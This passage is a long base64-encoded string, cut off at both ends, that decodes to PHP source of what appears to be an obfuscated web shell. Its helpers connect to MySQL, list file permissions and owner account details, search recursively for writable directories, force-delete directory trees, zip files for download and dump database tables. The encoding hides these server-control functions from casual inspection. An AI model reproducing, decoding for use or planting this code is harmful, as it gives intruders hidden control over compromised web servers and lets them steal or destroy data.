pbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOw0KDQoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCg0KCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOw0KDQp9DQoNCg0KDQovLz8/Pz8/DQoNCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7DQoNCglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgew0KDQoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsNCg0KCQlleGl0Ow0KDQoJfQ0KDQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgew0KDQoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsNCg0KCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7DQoNCgkJCWV4aXQ7DQoNCgkJfQ0KDQoJfQ0KDQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgew0KDQoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgew0KDQoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7DQoNCgkJfQ0KDQoJfQ0KDQoJcmV0dXJuICRsaW5rOw0KDQp9DQoNCg0KDQovLyA/Pz8/Pz8NCg0KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7DQoNCglpZiAoaXNfYXJyYXkoJGFycmF5KSkgew0KDQoJCWZvcmVhY2ggKCRhcnJheSBhcyAkayA9PiAkdikgew0KDQoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7DQoNCgkJfQ0KDQoJfSBlbHNlIGlmIChpc19zdHJpbmcoJGFycmF5KSkgew0KDQoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KDQoJfQ0KDQoJcmV0dXJuICRhcnJheTsNCg0KfQ0KDQoNCg0KLy8gPz9IVE1MPz8NCg0KZnVuY3Rpb24gaHRtbF9jbGVhbigkY29udGVudCkgew0KDQoJJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsNCg0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlxuIiwgIjxiciAvPiIsICRjb250ZW50KTsNCg0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCg0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlx0IiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCg0KCXJldHVybiAkY29udGVudDsNCg0KfQ0KDQoNCg0KLy8gPz8/Pw0KDQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpew0KDQoJcmV0dXJuIHN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZ2V0UGVybXMoJGZpbGVwYXRoKSB7DQoNCgkkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVwYXRoKTsNCg0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9DQoNCgllbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gJ2QnO30NCg0KCWVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fQ0KDQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9IA0KDQoJZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9DQoNCgllbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30NCg0KCWVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAncCc7fQ0KDQoJZWxzZSB7JHR5cGUgPSAnPyc7fQ0KDQoNCg0KCSRvd25lclsncmVhZCddID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyANCg0KCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsgDQoNCgkkb3duZXJbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsgDQoNCgkkZ3JvdXBbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsgDQoNCgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7IA0KDQoJJGdyb3VwWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7IA0KDQoJJHdvcmxkWydyZWFkJ10gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7IA0KDQoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOyANCg0KCSR3b3JsZFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOyANCg0KDQoNCglpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbJ2V4ZWN1dGUnXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoNCglpZiggJG1vZGUgJiAweDQwMCApIHskZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoNCglpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9DQoNCiANCg0KCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsNCg0KCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCg0KCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsNCg0KCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsNCg0KCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOw0KDQoJCX0NCg0KCX0NCg0KCXJldHVybiAnJzsNCg0KfQ0KDQoNCg0KLy8gPz8/Pw0KDQpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsNCg0KCSRteWRpcj1AZGlyKCRkZWxkaXIpOwkNCg0KCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7IAkJDQoNCgkJaWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmlsZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKSB7IA0KDQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoNCgkJCWRlbHRyZWUoJGRlbGRpci4nLycuJGZpbGUpOyANCg0KCQl9DQoNCgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7DQoNCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCg0KCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7DQoNCgkJfQ0KDQoJfSANCg0KCSRteWRpci0+Y2xvc2UoKTsgDQoNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCg0KCXJldHVybiBAcm1kaXIoJGRlbGRpcikgPyAxIDogMDsNCg0KfQ0KDQoNCg0KLy8gPz8/Pz8/Pz8/Pw0KDQpmdW5jdGlvbiBiZygpIHsNCg0KCWdsb2JhbCAkYmdjOw0KDQoJcmV0dXJuICgkYmdjKyslMj09MCkgPyAnYWx0MScgOiAnYWx0Mic7DQoNCn0NCg0KDQoNCi8vID8/Pz8/Pz8/Pz8/DQoNCmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7DQoNCglpZiAoJG5vd3BhdGggPT0gJy4nKSB7DQoNCgkJJG5vd3BhdGggPSAkc2NyaXB0cGF0aDsNCg0KCX0NCg0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbm93cGF0aCk7DQoNCgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5vd3BhdGgpOw0KDQoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgew0KDQoJCSRub3dwYXRoID0gJG5vd3BhdGguJy8nOw0KDQoJfQ0KDQoJcmV0dXJuICRub3dwYXRoOw0KDQp9DQoNCg0KDQovLyA/Pz8/Pz8/Pz8/Pw0KDQpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsNCg0KCSRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOw0KDQoJJG51bSA9IGNvdW50KCRwYXRoZGIpOw0KDQoJaWYgKCRudW0gPiAyKSB7DQoNCgkJdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7DQoNCgl9DQoNCgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsNCg0KCSR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOw0KDQoJcmV0dXJuICR1cHBhdGg7DQoNCn0NCg0KDQoNCi8vID8/UEhQPz8/Pw0KDQpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsNCg0KCSRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSk7DQoNCglpZiAoJHJlc3VsdCA9PSAwKSB7DQoNCgkJcmV0dXJuICdObyc7DQoNCgl9IGVsc2VpZiAoJHJlc3VsdCA9PSAxKSB7DQoNCgkJcmV0dXJuICdZZXMnOw0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gJHJlc3VsdDsNCg0KCX0NCg0KfQ0KDQoNCg0KLy8gPz8/Pz8/DQoNCmZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgew0KDQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoNCglnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7DQoNCgkhJGogJiYgJGo9MTsNCg0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoNCgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoNCgkJCSRmPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRkaXIuJy8nLiRmaWxlKTsNCg0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCg0KCQkJCWlmIChpc193cml0YWJsZSgkZikpIHsNCg0KCQkJCQkkZGlyZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgsJycsJGYpOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7DQoNCgkJCQkJJGRpcmRhdGFbJGpdWydkaXJwZXJtJ109Z2V0UGVybXMoJGYpOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsNCg0KCQkJCQkkZGlyZGF0YVskal1bJ2NsaWVudF9saW5rJ109dWUoJGYpOw0KDQoJCQkJCSRqKys7DQoNCgkJCQl9DQoNCgkJCQlHZXRMaXN0KCRmKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQljbG9zZWRpcigkZGgpOw0KDQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoNCgkJcmV0dXJuICRkaXJkYXRhOw0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gYXJyYXkoKTsNCg0KCX0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gcXkoJHNxbCkgeyANCg0KCS8vZWNobyAkc3FsLic8YnI+JzsNCg0KCSRyZXMgPSAkZXJyb3IgPSAnJzsNCg0KCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7IA0KDQoJCXJldHVybiAwOw0KDQoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7DQoNCgkJcmV0dXJuIDE7IA0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gMjsNCg0KCX0JDQoNCglyZXR1cm4gMDsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gcSgkc3FsKSB7IA0KDQoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZnIoJHF5KXsNCg0KCW15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIHNpemVjb3VudCgkc2l6ZSkgew0KDQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsNCg0KCX0gZWxzZWlmKCRzaXplID4gMTA0ODU3Nikgew0KDQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoNCgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsNCg0KCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAnIEsnOw0KDQoJfSBlbHNlIHsNCg0KCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsNCg0KCX0NCg0KCXJldHVybiAkc2l6ZTsNCg0KfQ0KDQoNCg0KLy8gPz8/Pz8NCg0KY2xhc3MgUEhQWmlwew0KDQoJdmFyICRvdXQ9Jyc7DQoNCglmdW5jdGlvbiBQSFBaaXAoJGRpcikJew0KDQoJCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCXsNCg0KCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KDQoJCQlpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbGlzdCA9ICRkaXI7DQoNCgkJCWVsc2V7DQoNCgkJCQkkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly8/Pz8/DQoNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoNCgkJCX0NCg0KCQkJaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7DQoNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoNCgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApew0KDQoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsNCg0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCg0KCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsNCg0KCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCg0KCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KDQoJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOw0KDQoJCQkJCX0NCg0KCQkJCX0NCg0KCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7DQoNCgkJCQljaGRpcigkY3VyZGlyKTsNCg0KCQkJfQ0KDQoJCQlyZXR1cm4gMTsNCg0KCQl9DQoNCgkJZWxzZSByZXR1cm4gMDsNCg0KCX0NCg0KDQoNCgkvLyA/Pz8/Pz8/Pz8/DQoNCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCg0KCQlzdGF0aWMgJGE7DQoNCgkJaWYgKGlzX2RpcigkZGlyKSkgew0KDQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KDQoJCQkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoNCgkJCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyl7DQoNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoNCgkJCQkJCWlmKGlzX2RpcigkZikpICR0aGlzLT5HZXRGaWxlTGlzdCgkZik7DQoNCgkJCQkJCSRhW109JGY7DQoNCgkJCQkJfQ0KDQoJCQkJfQ0KDQoJCQkJY2xvc2VkaXIoJGRoKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlyZXR1cm4gJGE7DQoNCgl9DQoNCg0KDQoJdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KDQoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KDQoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KDQoJdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KDQoNCg0KCWZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQoNCgkJJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCg0KCQkJJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsNCg0KCQkJJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCg0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCg0KCQkJJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNCg0KCQkJJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCg0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCg0KCQl9IC8vIGVuZCBpZg0KDQoJCXJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQoNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCg0KCX0NCg0KDQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoNCgkJJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCg0KDQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCg0KCQkkaGV4ZHRpbWUJPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KDQoJCWV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KDQoJCSRmcgkuPSAiXHgxNFx4MDAiOw0KDQoJCSRmcgkuPSAiXHgwMFx4MDAiOw0KDQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KDQoJCSRmcgkuPSAkaGV4ZHRpbWU7DQoNCg0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCg0KCQkkY3JjID0gY3JjMzIoJGRhdGEpOw0KDQoJCSR6ZGF0YSA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KDQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KDQoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOw0KDQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkZnIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOw0KDQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoNCgkJJGZyIC49ICRuYW1lOw0KDQoJCSRmciAuPSAkemRhdGE7DQoNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoNCg0KDQoJCSR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCg0KCQkkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOw0KDQoNCg0KCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDE0XHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDA4XHgwMCI7DQoNCgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KDQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQoNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoNCgkJJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KDQoJCSRjZHJlYyAuPSAkbmFtZTsNCg0KDQoNCgkJJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCg0KCX0NCg0KDQoNCglmdW5jdGlvbiBmaWxlKCkgew0KDQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoNCgkJJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQoNCgkJcmV0dXJuICRkYXRhIC4gJGN0cmxkaXIgLiAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLglwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLiBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLiAiXHgwMFx4MDAiOw0KDQoJfQ0KDQp9DQoNCg0KDQovLyA/Pz8/Pw0KDQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KDQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOw0KDQoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOw0KDQoNCg0KCSRmaXJzdGZpZWxkPTE7DQoNCg0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoNCgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsNCg0KCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoNCgkJfSBlbHNlIHsNCg0KCQkJJGZpcnN0ZmllbGQ9MDsNCg0KCQl9DQoNCgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOw0KDQoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCg0KCQl9DQoNCgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoNCgkJfQ0KDQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsNCg0KCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KDQoJCX0NCg0KCX0NCg0KCWZyKCRmaWVsZHMpOw0KDQoNCg0KCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7DQoNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KDQoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOw0KDQoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7DQoNCgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoNCgkJfQ0KDQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsNCg0KCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KDQoJCX0NCg0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsNCg0KCX0NCg0KCWZyKCRrZXlzKTsNCg0KDQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KDQoJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoNCgkJJGNvbG5hbWVzPWlt